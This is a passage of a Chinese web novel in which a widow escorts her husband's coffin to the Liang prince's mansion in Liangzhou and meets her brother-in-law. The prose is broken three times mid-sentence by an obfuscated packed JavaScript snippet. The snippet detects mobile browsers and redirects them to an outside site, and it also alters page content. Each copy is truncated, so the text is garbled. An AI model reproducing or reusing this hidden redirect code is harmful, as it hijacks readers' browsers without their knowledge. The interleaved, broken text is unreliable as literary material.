明宜摇头:“我没事,你呢?” 白芷上下打量她一眼,见她除了鬓发和衣衫略有些凌乱,确实未有受伤,这才重重舒了口气:“我听娘子的话躲在马厩草垛后,那些北狄人来牵马时,走得匆忙,并未发现我。”说着这里,她不由得懊恼地跺跺脚,“都怪我反应迟钝,将北狄人引走这事,明明可以我来做,反正他们也不知西平侯夫人长什么模样!娘子作何要冒这个险?” 明宜轻笑:“北狄人要的是我这个侯夫人,若是追上你,觉察你不是侯夫人,你还能有命么?” 白芷一愣,继而又道:“我本就是下人,只要能护住娘子,送命又如何?” 明宜失笑:“别说这样的胡话。”顿了下,又道,“何况我不是没事么?” 白芷撇撇嘴没再说什么。 一旁的周子炤则适时开口:“三娘子想必也受了惊吓,不如先上楼好好休息,这里我来处理便好。” 明宜闻言,与他服了个礼:“那就有劳殿下了。” 白芷这才发觉此人是齐王,赶紧行礼道:“奴婢见过殿下。” 周子炤笑着摆摆手:“无需多礼。” 明宜淡淡看了对方一眼,踅身与白芷去了驿馆内。 至于那血流成河的一地残迹,她没敢再多看。 只是忍不住想,或许这便是边境的常态。 回到房中,见到一片凌乱,显然是方才被北狄人翻过,明宜想到什么似的,赶紧走到床边,看到床侧那木箱子还完好无损,不由得松了口气。 她下意识伸手摸了摸。 里面倒不是什么珍宝,而是李悆生前留下的墨宝丹青。 李悆担心自己将来若再嫁,带着亡夫的这些私人之物,难免会让未来夫君不悦。因而他将财物留给了自己,而将心爱的墨宝丹青留给了兄长。 她这趟来凉州,除了送李悆安葬,还要将这些遗物交给夫兄李赟。 幸而这惊魂一夜,棺椁和遗物都完好无损。 只是发生了这等大事,心有余悸的明宜,躺在床上,到底再难安然入睡。 院中的动静渐渐小了,最终归为平静,待一丝薄暮晨光透进来,明宜便从半梦半醒中睁开眼睛。 片刻后,她坐起身,脑中不由得浮上昨日场景。 兀自怔忡了一会儿,她走下床,来到窗牖边,将窗子掀开。 院中的尸首血迹早已被清理干净,破损的车厢也已更换。明宜看不见棺椁,但她知道正安然待在那新换车厢内。 就好像什么都没发生过。 就在这时,外面响起敲门声,周子炤的声音传来:“三娘子,你醒了么?” 明宜忙回道:“已经醒了。” 周子炤隔门道:“那我让驿官安排膳食,等用完早膳,我们就启程回凉王府。” “有劳殿下。” 周子炤:“三娘子不用客气。” 用过早膳下楼时,周子炤已经在院中等候。 晨光下,男人身着黛色锦袍,长身玉立,是个吊儿郎当翩翩玉公子的模样。 因着惠心公主和李悆的关系,明宜见过周子炤几次。 齐王母亲只是一个位份低下的宫女,又早早过世,他在众皇子中地位不高,也因此与储君之争无甚关系,是个胸无大志惯会吃喝玩乐的纨绔王爷。 也正是如此,他与体弱多病的表弟李悆关系不错。 也因为李悆的关系,明宜见过他很多次。 而她这才发觉,周子炤和李悆眉眼间确实有几分相似。 只是相对于齐王的散漫浪荡,李悆因为体弱多病,更多几分柔弱之气。 想到李悆,明宜心中不由得一痛,回过神来,赶紧收拾好情绪,上前朝周子炤行了个礼。 “都说这里是凉州,三娘子不用拘礼。”周子炤摆摆手道。 明宜也笑了笑,想到什么似的,道:“先前听说殿下离京游历,原来是来了凉州。” 周子炤道:“凉州石窟寺佛像和壁画乃是天下一绝,我一直想来看看,正好也来见见多年未蒙面的表哥。” 先凉王只有惠心公主一个妻子,两人育有两个儿子,正是如今的凉王李赟和西平侯李悆。 周子炤作为皇子,与两人乃是正经表兄弟。 明宜点点头,随口道:“也不知阿兄那边怎么样?” 周子炤笑道:“表哥一向所向披靡,我们不需担心,回去等着他凯旋便好。” 明宜也笑:“嗯,殿下说得没错。” 周子炤忽然幽幽叹了口气:“原本还想着游历回去,再与你和阿玉相聚,却不曾想,过年宫宴竟是我将他的最后一面。”说着又看向她,“三娘子节哀。” 明宜面上浮上一抹苦笑:“虽然免不了难过,但毕竟已有预料。如今能顺利送他回故土安葬,我也算了了一个牵挂。” 周子炤道:“阿玉这一生虽然短暂,但有三娘子这样一个情投意合的知心人,也算是不幸中的大幸。” 明宜淡淡笑了笑,没再说什么。 周子炤见她面上犹有些愁容,便道:“三娘子不用担心,昨日战死的侯府侍卫,凉王府会安排厚葬,也定会给他们家人优厚抚恤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037468|194636||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “嗯,殿下费心了。” 舟车劳顿一个月,多亏这些侍卫,自己才能将阿玉棺椁送到凉州,只是没想到会让他们在凉州境内丢了性命 想到那一张张熟悉的脸,如今已与李悆一样,在这世上不复存在。 明宜就不由得有些伤感。 * 车队浩浩荡荡出发。 明宜坐得还是原本那驾车,江寒也照旧坐在车前护卫。 只是侯府人马死伤大半,如今护卫的大都是昨晚救援来的河西军。 一路无波无澜,刚过晌午,车队便入了凉州城。 寂静了一路,乍然听到人声鼎沸的喧杂声,明宜忍不住将帘子掀开,好奇朝外面瞧去。 只见这西北边陲之城,车水马龙,商铺林立,行人摩肩接踵,意外的繁华热闹。 “哇——”凑在她耳侧一并往外看的白芷,忍不住发出惊叹,“没想到这凉州城与中原许多大城比起来,也不遑多让。” 从前李悆很喜欢对明宜说起凉州,在李悆口中,凉州简直比京城都要好,明宜总觉得那是李悆对故乡的美化。 但如今看来,李氏三代,确实将凉州经营得很好,难怪此前有传言,说凉州境内,百姓只知凉王,不知天子。 正想着,目光不经意落在前方一处楼门,上面挂飘着一串串长发。 明宜咦了声,伸手指着那处,随口问车外马上的王府护卫:“那门楼上是作何的?” 护卫顺着她的手朝门楼看去,继而颇有些骄傲地扬眉一笑,与她解答:“回夫人,那是北狄人的头颅,我们王爷每次取下北狄将领的首级,便会挂在门楼示众,以震慑潜入城中的北狄人。”说着,他略所思索,“算起来,自从第一次到如今五年,足足有十几个北狄将领首级挂在上面。” 年轻的士兵语气云淡风轻,但很有几分对凉王的崇敬。 明宜却是听得心惊胆战,不等对方说话,已经将视线从那门楼收回。 李悆性情纯善温和,她实在不能想象他口中疼爱他的兄长,如此嗜血狠辣。 明宜放下帘子,白芷也心有余悸般拍拍胸口,讪讪道:“凉州果然民风剽悍,看来凉王和侯爷虽然是亲兄弟,性情却大相径庭。” 明宜先是颇以为然地点点头,继而又轻笑道:“若是凉王与侯爷性情相似,只怕凉州城早被北狄人占了去。” “这倒也是。” 车外都是王府护卫,明宜不好多谈那位未曾蒙面的夫兄,只道:“凉州风土人情确与京城不同,看着倒也挺有意思。” 白芷点头:“嗯,刚刚我瞧见街边卖的吃食,许多都未曾见过。” “等侯爷下葬,咱们离开凉州前,我们好好逛逛。” 白芷弯唇一笑:“那奴婢可等着了。” 两人虽是主仆,却并无尊卑之分。白芷一直觉得自家娘子与别的都不一样,自己幼时被父母卖去给人做童养媳,是偶然撞见的娘子将自己买下带回府中。 那时娘子也才十岁不到,却已很有主见。 她让身旁的婢女与她一起读书,自己粗手粗脚不会读书她也不嫌弃,只找来护院教自己武功。 待院子里的丫鬟长大,娘子便将卖身文书还给她们,让她们去铺子里做事,学会自力更生。 自己不想离开,对方便让自己一直跟在身旁。明明自己学武是为了保护娘子,但娘子从不让自己置身危险,就连昨晚那情形,娘子也没将自己推出去。 这样想着,白芷又不免有些自惭形秽。 她握了握手中的剑,心下决定,以后再遇到危险,自己定要冲在前面保护好娘子。 明宜自是不知白芷脑子里乱七八糟的念头,只是心中莫名有些不安,也不知是不是看了刚刚那门楼上头颅。 她总觉得这凉州城充满了不可掌控,绝非久留之地。 她原本还想着借此机会,好好游览一番大宁边陲的山河美景。 如今看来,待安葬好阿玉,她还是马上启程回京。 5. 第 5 章 正胡思乱想着,身下马车缓缓停下。 江寒的声音从前面传来:“夫人,到了!” 明宜闻言,掀开前方的车帘,微微抬首,果然见旁边一座朱红大门,门上悬挂的玄色牌匾,赫然刻着镀金的“凉王”二字。 “恭迎侯爷夫人回家!” 门口两排躬身而立的仆从婢女,齐齐行礼高声道。 明宜见此阵仗,微微一怔,忽的想起,这王府确实才是李悆真正的家。 在她愣神间,周子炤已经从前面走过来,微笑着做了个有请的姿势:“三娘子,王府到了。” 明宜回神,赶紧带着白芷下车。 与此同时,一个年过半百的老翁迈着小碎步走过来,毕恭毕敬道:“老奴见过齐王殿下和二夫人。” 成亲这半年多来,明宜都是被人称作夫人或侯夫人,眼下忽然变成“二夫人”,她一时还有点不习惯。 但在这凉王府,李悆是二公子,她自然是二夫人。 她摆摆手,轻笑道:“不必多礼。” 周子炤道:“三娘子,这位是凉王府管事荣伯。” 明宜点点头,朝荣伯笑道:“从前经常提阿玉说起,他与兄长二人都是被荣伯一手带大的。” 荣伯闻言微微动容,抬起袖子拂了拂眼角,幽幽叹息一声:“是啊,没想到当年一别,老奴再见小郎君,却已是天人永隔。”说罢,又想到什么似的,赶紧拱手道,“二夫人舟车劳顿这一路,赶紧随老奴回府中好好休息。” “有劳荣伯了。” 荣伯吩咐婢女领明宜进屋休息,自己则继续安排抬棺事宜。 明宜听李悆说过,先凉王娶惠心公主后,专门让人将王府按京城宅院风格,重建了这座凉王府。 果不其然,王府几乎不见西北之地的粗犷,反倒是处处精巧雅致,飞檐翘角,雕梁画栋,又有亭台阁楼,绿植丛生,乍一看还以为是到了京中王侯之家。 “二夫人,这座芙蓉苑是王爷差人专门为您准备的,您看看还差什么,奴婢再去准备。” 领路的婢女指着前方一座院门,笑盈盈为明宜介绍。 明宜抬头望向那月亮门,微微一愣。 院门刻着的那三个字,看起来还很新,应是刚刻上去不久。 芙蓉苑? 是巧合,还是凉王知道自己小字叫阿芙? 但想着李悆与这位兄长感情极好,喜怒哀乐都会写在信中与兄长分享,就算知道自己小字,也不奇怪。 她只是有些意外对方考虑如此周到。 明宜笑了笑:“劳烦两位姑娘了。” “这是奴婢应该做的。” 明宜随着两人走进院子,下意识四顾了下,一眼便瞧见院中小池里盛开的睡莲。 婢女见状笑道:“这睡莲是王爷前阵子让人移种过来的,没想到这几日开了花,想必是为了迎接二夫人。” 明宜轻笑了笑,没再说什么,只是想起祖父院中那一池睡莲。 不知为何,这陌生的院落,让她莫名生出一丝古怪。 这两个被安排在院中伺候的婢女,一个叫秋霜,一个叫寒露,都是热情爽朗的性子,说话时叽叽喳喳,与从前宋家那些谨小慎微的丫鬟截然不同。 倒是让明宜少了些初来乍到的不安感。 因着昨夜未能睡好,沐浴更衣,喝了碗饮子,明宜便在屋中的美人榻上歇息过去。 再醒来,已是金乌西坠。 厨房已送来晚膳,除了京城常见的口味,也有炙羊肉这些凉州特有的佳肴。 这些日子舟车劳顿,明宜鲜少有胃口,这会儿尘埃落定,难得食指大动,不知不觉竟是吃得有些撑了,才放下筷子。 秋霜见状提议道:“府中已经掌灯,二夫人要不要去逛逛?” 明宜正好想消消食,便点点头,又想到什么似的,问道:“侯爷的棺椁停在哪里?” “停在长安苑。”秋霜说罢,又补充道,“哦,就是王妃和侯爷去京城前住的院子。” 明宜当然知道长安苑,李悆与她提过不知许多回。 因为出生时便体弱,惠心公主对这位幼子十分宠爱,一直亲自照顾。 李悆在离开凉州前,便是住在母亲的长安苑,他幼时的生活,大多都跟这座别院息息相关。 从芙蓉苑到长安苑倒是不远,沿着一道鹅卵石小径,穿过一条游廊,不过半炷香的工夫便道。 此时别院外站着几个人高马大的侍卫,见到明宜几人,恭恭敬敬行了个礼。 明宜摆摆手,不紧不慢走进院中。 此时屋子廊檐下已挂上红色宫灯,将院中那金丝楠木棺椁照得影影绰绰。 明宜见到棺椁旁那道略有些佝偻的身影,唤道:“荣伯——” 荣伯闻言抬手抹了抹眼角,转身朝她行了个礼:“二夫人,您来了!” 只见宫灯下,面前人神色显而易见的凄哀,想来是在为李悆悲伤。 明宜叹息一声:“荣伯,节哀!” 荣伯也叹了口气:“二夫人也是。”顿了下,又道,“对了,王妃身子可还好?” 明宜道:“阿玉过世,最伤心的莫过于王妃,幸而这些年王妃身子尚可。只是不宜长途奔波,所以由我独自送阿玉回凉州。” “那就好”荣伯点点头,“只是可怜了大郎君,一别八年,如今再见小郎君却是一具棺椁,王妃依旧相隔千里,不知何时才能再见?” 他口中的大郎君自然就是小凉王李赟。 狄患一日不除,凉王就一日不可能离开凉州,三代皆是如此。 惠心公主八年前回京城后,就再未回过凉州,身体不适宜长途奔波确实不假,但为人母亲,若是想见儿子,总想方设法克服。 可见母子感情淡薄。 实际上明宜确实鲜少听惠心公主提及长子,偶尔说起,也不过是几句无甚感情的客套话。李悆也曾苦恼地与她抱怨过,说母亲总觉得兄长残暴弑杀,母子二人素来不亲近。 父亲和弟弟相继离世,母亲又常年不回,若是换做常人,大约都是很难过的。 不过据传闻,这位年轻的凉王,实在很难称得上常人。 明宜回神,随口问道:“也不知阿兄何时才能回来?” 原本神色戚戚的荣伯,忽然展颜一笑:“二夫人不用担心,我们大郎君可是北狄克星,那些敢来凉州境内闹事的,就没有能活着回去的。等大郎君这次回来,那门楼上头颅又会多几个。” 明宜想到先前门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037469|194636||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楼上的场景,不由得讪讪一笑:“那就好,阿兄能早日凯旋,阿玉也好早些入土为安。” 荣伯道:“大郎君已经让人看好了下葬的日子,乃是下月初三,他最迟两天就会回来。” 明宜这才知道葬礼日子已定,今日是七月最后一天,确实是最迟两天后就得回来。 她点点头,走到棺椁旁,伸手小心翼翼摸了摸,见封蜡还完好无损,靠近也没有异味渗出,不由得暗暗舒了口气。 “二夫人,您回去休息吧,这里我来守着就行。” “劳烦荣伯了。” 西北的夜晚已经很有几分凉意,从长安苑出来,明宜正想着要不要再逛逛,忽然听到一声狼嚎,将这静谧的夜色划破。 她简直以为是自己听错了。 “什么声音?”白芷也是吓了一跳。 秋霜见两人面露怔忡,笑盈盈道:“二夫人秋霜姑娘不用怕,这是啸月。” “啸月?”明宜不明所以。 寒露接着道:“啸月是夜月狼,王爷一手养大的爱宠,很厉害的,每次王爷带它去打仗,都能咬死好几个北狄人,现在年纪大了,王爷出征便不再带它。它只在院子里乖乖等王爷回来,不会出来伤人。” 明宜心中惊讶,狼野性难驯,与犬完全不同,自己这大伯哥竟然将狼养在府中? 她还未开口,白芷已经忍不住讪讪道:“你们王爷好厉害,连狼都能驯服。” 秋霜有些得意地扬起眉头道:“我们王爷可是天纵英才,区区夜月狼算甚么?王爷十岁开始随先王爷出征,十二岁便只身领十几人,剿灭一队劫掠商队的北狄沙匪。王爷袭爵时才十八岁,北狄人见他年纪轻轻,挥兵南下,王爷率河西军在玉门关迎敌,屠五万北狄兵,光是王爷一人斩下的头颅,只怕都有数百。” 若是京城坊间关于小凉王的传闻,还能当做以讹传讹。 但凉王府婢女口中所言,只怕至少有八分真。 明宜很清楚,大宁和凉州需要这样心狠手辣的将才,所以丫鬟们说起这些堪称凶残的功绩,俱是与有荣焉的自豪,神色中也都是钦佩敬仰之色。 但想到这人是李悆的兄长,自己的大伯哥,她还是有些心惊胆战。 她已然理解为何惠心公主回京后便不再回来——过惯了太平安稳日子的人,对战乱和杀戮自是敬而远之。 她自己长于高门,见识过后宅腌臜,也听闻过朝堂的凶险,并不算毫无见识,但光是听到这些事,便心惊胆战。 而秋霜寒露看着是性情单纯的王府婢女,却有着茹毛饮血般的残忍,对杀戮显然习以为常。 明宜正思绪万千着。 只听寒露义愤填膺继续道:“那些北狄人真是胆大包天,竟敢潜入凉州抢侯爷棺椁,王爷必会将他们碎尸万段。” 明宜脑中浮上昨日那叫鲁刺儿的北狄人模样。 那可是个危险人物,连江寒这样的高手都难以应对,也不知能不能顺利抓到? 不过这并非她该操心的事,如今李悆棺椁顺利抵达凉王府,她的任务便已圆满完成。 万幸李悆已在京城封侯自立门户,等人安葬,自己这个侯夫人便能回去做一个闲散寡妇。 她也只是一个想过太平日子的俗人。 6. 第 6 章 接下来两日,便是安心等凉王凯旋。 因着凉王府与京中无甚区别,准备的膳食也多是京中口味,倒是让明宜过上了这一个月以来最舒服的日子。 加之府中并无过多规矩,凉王又不在府中,没有任何拘束,难得自在。 秋霜寒露性情爽朗活泼,在她跟前聊得最多的便是他们的王爷。 于是明宜又听了不少这位小凉王骁勇善战的事迹。 在婢女们的口中,那是骁勇善战,但在明宜心中,却免不了去想战绩之下的血腥。 她愈发对这位还未曾蒙面的夫兄,多了几分忌惮。 “三娘子——” 这日傍晚,明宜用过晚膳,正在院中逗弄睡莲下的小鱼,周子炤笑嘻嘻的声音从院门口传来。 明宜起身转头,见到那张笑盈盈的俊脸,抬手作揖道:“三娘见过殿下。” 周子炤迈步走进来,笑盈盈问道:“可还习惯?” 明宜笑说:“没想到凉王府与侯府差不多,岂止是习惯,简直是宾至如归。” 周子炤挑挑眉似是随口道:“这本也算你的家。” 明宜微微一怔,又转而好奇问道:“殿下来凉州多久了?” 周子炤:“三月有余。” 明宜心下惊讶,又问:“可有计划何时回京?” “暂时还未有打算。”周子炤摊摊手,不以为意地轻笑,“反正京城有无我这个皇子没影响。” 明宜讪讪一笑:“殿下说笑了。” 周子炤道眉头轻挑,笑嘻嘻道:“这可是好事,其他皇子想如我这般自由自在还做不到呢。” 明宜笑:“这倒也是。” 她与周子炤并不相熟,但在李悆口中,这位表兄,对朝堂之事毫无野心,性情单纯,很是有趣。 周子炤又问:“姑母可还好?” 明宜点头:“嗯,虽然难免伤心,但毕竟早有预料。” 周子炤看了看她,感慨般道:“京城与凉州相隔千里,你独自送阿玉回来,这一路只怕吃了不少苦头。” 明宜勾了勾唇角,不以为意道:“侯府派了近百人马,怎叫我独自护送?况且,除了黑松驿遇到北狄人,一路都很顺利。” 一想到黑松驿,她心中不由得又有些伤感。 近百人马,一夜折损大半。那些侍卫也都有亲人爱人,却再也没有机会与之相见。 而他们丢掉性命,只是为了保护一具棺椁。 周子炤道:“三娘子放心,表兄定能将那北狄贼首擒获。” 明宜想了想,道:“那北狄贼首自称是拔延部叶护鲁刺儿。” “什么!”周子炤蓦地瞪大眼睛,露出惊愕之色,“竟然是鲁刺儿!难怪如此胆大包天!” 明宜疑惑问:“此人很厉害么?” 周子炤稍稍正色,点头道:“嗯,这个鲁刺儿是如今北狄第一勇士,北狄太子心腹,武艺极高。若是这回周表兄能诛杀他,倒是解决到一个心腹大患,不然等北狄太子继位,挥兵南下,有这鲁刺儿坐镇,定会是个大麻烦。” 明宜那晚看出那北狄贼首不一般,却没想到是这等厉害人物,不由担心道:“我看阿兄只带了几十兵马去追,不知会不会有危险?” 周子炤大喇喇挥挥手:“这个你放心,鲁刺儿再厉害,也绝不是表兄对手,何况表兄向来不会逞莽夫之勇,就算没能擒获鲁刺儿,也不至于让自己陷入险境。”顿了下,又补充已经,“阿玉明日下葬,他定会赶回来。” “那就好。”明宜点头,又想到什么似的,笑着随口道,“没想到殿下对北狄知道的还挺多。” 周子炤笑道:“在凉王府这三个多月,常与表兄在一起,耳闻目睹也对边境状况知道了个大概。” “这倒也是。” 周子炤看了看她,像是想到什么似的开口:“对了,从前都不知三娘子会骑马呢。” “哦,幼时学过一点,但并不精于此道。”明宜轻描淡写道,“不然也不会被那些北狄人追上。” 周子炤笑嘻嘻道:“不精此道却胆敢只身将北狄人引开,且距离黑松驿十几里地才被追上,三娘子的胆识令人刮目相看。” “求生本能使然罢了。”明宜失笑,“幸好殿下和王爷及时赶到,不然我如今都不知身处何方。” “你都入了凉州,表兄还能让你出事?”周子炤随口道。 他本是来探望明宜状况,见她无事,两人又闲话几句便道别。 待人离开,明宜看了眼天色,见暮色将至,又照常去了长安苑。 李悆的棺椁依旧安安静静摆在院中,明天就到了下葬的日子,只是及至此时,他还未听到凉王回府的消息,不由得有些忧心忡忡。 因知每日这时,二夫人都会来陪二公子一会儿,院中的婢女仆从便会识趣地默默退到院门口,以防打扰。 明宜胆子其实不算大,只是与这棺椁相伴一月有余,又知棺中人是性情柔顺的李悆,所以她从来没有过害怕。 “阿玉,你若是泉下有知,就保佑你阿兄今晚能平安归来。” 只有凉王如期归来,明日的葬礼才能顺利举行,李悆也才能入土为安。 明宜靠近棺椁轻声说着,仿佛棺内的人当真能听见她的话。 “阿玉,你说过你阿兄所向披靡,他一定没问题的对不对?” 回应她的只有院中轻轻的风声。 明宜兀自笑了笑,又轻轻抚了抚棺椁,然后缓缓踅身。 只是下一刻,她忽然怔住。 只见院门口不知何时多了道极为高大挺拔的身影,一身玄色铠甲在月色下闪着寒光。 虬髯满面的一张脸,因是逆着光,辨不出本来的样子。 但明宜却认出了那双寒星般的眸子。 只是眼下才看清,原来这眸子是深灰色。 越发像荒野中的狼。 在她看向他时,对方也正看着她,神色冷峻,没任何表情,只有那双灰眸隐隐闪动。 因着对方周身冷冽威严的气息,明宜下意识后退了一步,后辈轻轻撞在身后的坚硬棺椁上,发出低低一声响动。 男人眉头微微蹙了蹙,一双深邃的眸子,越发显得幽深。 他没说话,只是轻飘飘迈动步子,脚下长靴踩在地上,发出低沉的橐橐声。 及至距离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037470|194636||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明宜不足一米的距离时,才不紧不慢停下。 而则短暂的一路,他深邃的眸光,始终没有离开明宜。 明宜莫名心惊胆战,明明走近的是一个活生生的人,却让她有种野兽逼近的错觉。 不过她很快反应过来,虽未曾见这座王府的主人,却也知道能悄无声息出现在这里,没人阻拦的,除了小凉王李赟,不会是别人。 她真要抬手行礼,对方却先行一步,与她恭恭敬敬拱手作了一揖:“有劳弟妹送阿玉回家。” 这两日明宜听了太多小凉王的事迹,如今又亲眼见到这样一幅气势迫人的长相,这过于恭谦郑重的一礼,完全出乎她意料,半晌才回过神来。 “明宜见过阿兄。”明宜赶紧作揖道。 李赟摆摆手:“弟妹不用多礼。” 他语气堪称温和有礼,只是声音太过低沉,听起来便很有几分冷冽的味道。 不知是不是离得有些近,明宜只觉得对方威严的气势,让自己有点无所适从,也不敢直视对方,目光犹疑时,不经意落在对方袖子上,却见一团黑色污渍。 她微微一怔,下意识道:“阿兄,您受伤了?” 李赟垂眸看了眼手臂,淡声道:“无妨。” 明宜想了想,又试探道:“那些北狄人如何了?” “鲁刺儿逃入沙漠,我急着赶回来安葬阿玉,便未再继续追。”李赟淡声道,说话间抬眸看向落在她身后的棺椁,再次迈步上前,走到棺椁旁停下,又抬手覆盖那棺椁上方。 明宜见状道:“我听齐王殿下说,那鲁刺儿是北狄第一勇士,阿兄只带了那点人去追,能安然回来便好。” 李赟蓦地转头,深灰色眸子神色莫辨地看向她。 明宜忽然意识到眼下状况颇有几分荒谬。 她与自己这位大伯哥从未见过,但刚刚简短几句对话,仿佛心照不宣一般省略了初见的客套寒暄。 虽然疏离,却又有些太过自然。 她对上那双灰眸,却看不出任何情绪,只已然闻到此人身上的血腥味,不知是因为受伤,还是本身就有的气息,总归透着一股让人无法忽略的危险和威慑。 明宜不动声色地退后一步,与人隔远了些。 李赟眸光微微闪动了下,道:“这次多亏弟妹舍身相救,才让阿玉尸身免于被辱。” 明宜道:“阿玉是我夫君,将他安然送回凉州,是我对他的承诺,也是我能为他做的最后一件事。” 李赟沉默片刻,忽然话锋一转:“天色已晚,弟妹回去休息吧,明日阿玉下葬,我们得早些从府中出发去紫山。” 他语气依旧温文有礼,甚至带了几分关切,但明宜却听得出他这是在逐客。 她赶紧行了个礼:“嗯,阿兄也早些休息。” 目送明宜翩翩身影离开院门,院中男人才缓缓转身,犹带着血迹的大掌,在金丝楠木棺椁上,缓缓抚过。 “阿玉,阿兄来看你了。”男人喃喃道。 那僵硬冰冷的棺椁自然不会有任何回应,但男人依旧自顾地说道:“ 怪阿兄没早些接你回家,不过没关系,以后咱们就在凉州,哪里也不去了。” 7. 第 7 章 “娘子,听说王爷回来了?” 明宜是只身去的长安苑,听到她回来的白芷,不等她走进月洞门,便风风火火从屋中跑出来,一脸兴奋问道。 这两日白芷与秋霜寒露打成一片,总听二人提起王爷如何如何,便对那还未蒙面的小凉王,越来越好奇,眼下听说人回来,想着自家娘子能带她去见见小凉王的尊容,赶紧来问。 明宜淡淡点头:“嗯,回来了。” 白芷咦了声:“娘子,你见到王爷了?” “见到了。”明宜边往院中走边轻描淡写应道,“他一回来就去了长安苑见侯爷。” 白芷了然点头,随着她往屋内走,待走进槅扇门,随手将门关上,又睁大眼睛,按捺不住问道:“娘子,小凉王真如秋霜白露说的那样乃是龙章凤姿,俊朗不凡么?” 明宜脑中浮上那张虬髯密布脸,以及那双冷如碎冰的深邃灰眸,轻笑了笑道:“凉州人喜好与京城不同,秋露寒霜眼中的俊朗,与你以为的只怕有着天壤之别。” 白芷撇撇嘴:“那王爷和侯爷长得像么?侯爷在京城也是公认的俊郎君。” 明宜脑中又浮上李悆那张清俊温和的面容,摇头轻笑了笑:“似乎不大像。” 岂止不大像,她完全没看出兄弟二人有半点相似之处。 白芷听出她对那位小凉王的容貌并不以为然,想来并非什么俊郎君,便有些失望地撇撇嘴随口道:“那真是可惜了。” 明宜不以为意地轻笑:“早些睡吧,明日我们得早起。” “嗯。” 在芙蓉苑吹灯拔蜡歇下时。 王府另一端的墨羽轩,却正是烛火通明。 沐浴更衣后的李赟,正坐在案牍后,仔细翻阅近日递上来的折子。 看了片刻,又似是想到什么似的,从案下画笥里抽出一卷画轴,缓缓在案牍上铺开。 这是阿弟李悆去年成婚时寄来的画像。 画中一对昳丽的男女轻轻依偎在假山前,宛若天造地设的一对璧人。 正是阿弟和他的新妇。 房门咯吱一声被推开,吹进来的夜风,将案上的画卷吹得窸窣作响。 李赟将画收好,放回画笥,随手拿起一本折子在手中。 进来的是齐王周子炤。 李赟未起身,周子炤也未行礼,而是施施然在他对面坐下,目光落在他手臂,蹙眉道:“你受伤了?” 李赟道:“一点小伤。” 周子炤道:“听三娘子说,那北狄匪首是鲁刺儿。” “嗯,没错。” “看来传言无误,那鲁刺儿当真有点本事,不仅能从你手中逃掉,还让你受了伤。” 李赟沉默片刻,才淡声开口:“我故意没杀他。” “嗯?”周子炤奇怪看向他,“为何?” 李赟道:“因为我发觉他是汉人,所以我得生擒。” “什么?”周子炤惊讶,“北狄第一勇士是汉人?” 李赟道:“没错。”说着又撩起眼皮,看向对面的表弟,轻笑道,“你怎么对这些事关心起来了?” 周子炤先是撇撇嘴,继而又笑道:“我是关心我的好表兄。” 李赟勾了勾唇,垂下眸子,但笑不语。 周子炤歪头默默打量着他。 “作何?”李赟再次抬眼看向对方,轻飘飘问道。 周子炤弯唇笑眯眯道:“你终于肯修面了,看着确实顺眼许多。” 李赟不甚在意道:“明日送阿玉下葬,总得注意一下仪容。” 周子炤摸着下巴戏谑道:“从前听闻表兄你是凉州美男,我还以为是你自卖自夸,看来是表弟从前眼拙了。” 李赟不以为然地扯了扯嘴角:“少说些胡话,等阿玉下葬,你就赶紧回京城,免得被舅父怀疑你与我结党。” 周子炤噗嗤一笑,似是听到笑话般道:“京城上下谁不知我齐王是个胸无大志的纨绔王爷,父皇怀疑那几位公主结党,也不会怀疑我。”说着想到什么似的,露出一副玩世不恭的模样,撇赔罪道,“能在逢年过节想起还有我这个儿子,就谢天谢地了。” 李赟抬眸瞥他一眼,笑着摇摇头:“行吧,你愿意待多久便待多久,不过若是舅父那边传信让你回去,你就得马上回去。” “放心吧,父皇想不到的。话说回来,那些在京城为一个储君之位争得你死我活的兄长们,哪有我这个闲散王爷自在快活。”周子炤边说站起身,慵懒地伸伸胳膊,“罢了,阿玉明日下葬,表兄你早些休息,我就不打扰了。” “嗯。” 李赟垂下眸,目光落回手中折子。 及至周子炤出门,将房门阖上,烛火随之重重摇曳了几下,也没让他再抬眸。 * 八月初三,宜打扫、安葬、拆卸、入殓。 天空碧蓝如洗,是个风和日丽的好天气。 辰时还未到,院子里便已经响起进进出出的脚步声。 明宜昨日睡得早,不等秋霜她们敲门,她已经起床洗漱更衣。 铜镜里的女郎一身素白孝衣,面上不施粉黛,依旧清丽出尘。 她眉目间气质温婉娴静,与京中高门千金别无二致,丝毫不会让人怀疑这是一朵温室娇养的花。 “二夫人,起来了吗?”外面传来秋霜的声音。 “嗯,起了。”明宜回神应道,整了整衣裳站起身,领着白芷出了门。 “要出发了吗?” 寒露点点头:“王爷已经在长安苑准备。” 明宜忙道:“那我们赶紧去。” 